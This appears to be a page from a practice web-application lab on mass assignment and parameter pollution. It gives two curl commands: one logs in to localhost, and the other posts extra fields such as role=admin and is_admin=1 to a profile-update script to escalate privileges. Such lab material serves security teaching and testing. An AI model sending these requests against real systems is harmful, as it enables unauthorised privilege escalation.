Mass Assignment / Parameter Pollution
User Profile Update
Please login to update your profile.
curl Test
# Login first, get session cookie curl -c /tmp/cookies.txt -X POST -d "uname=test&pass=test" http://localhost/login.php # Mass assignment — add extra fields curl -b /tmp/cookies.txt -X POST -d "email=hacker@evil.com&role=admin&is_admin=1&cc=4111-1111-1111-1111" http://localhost/assigned.php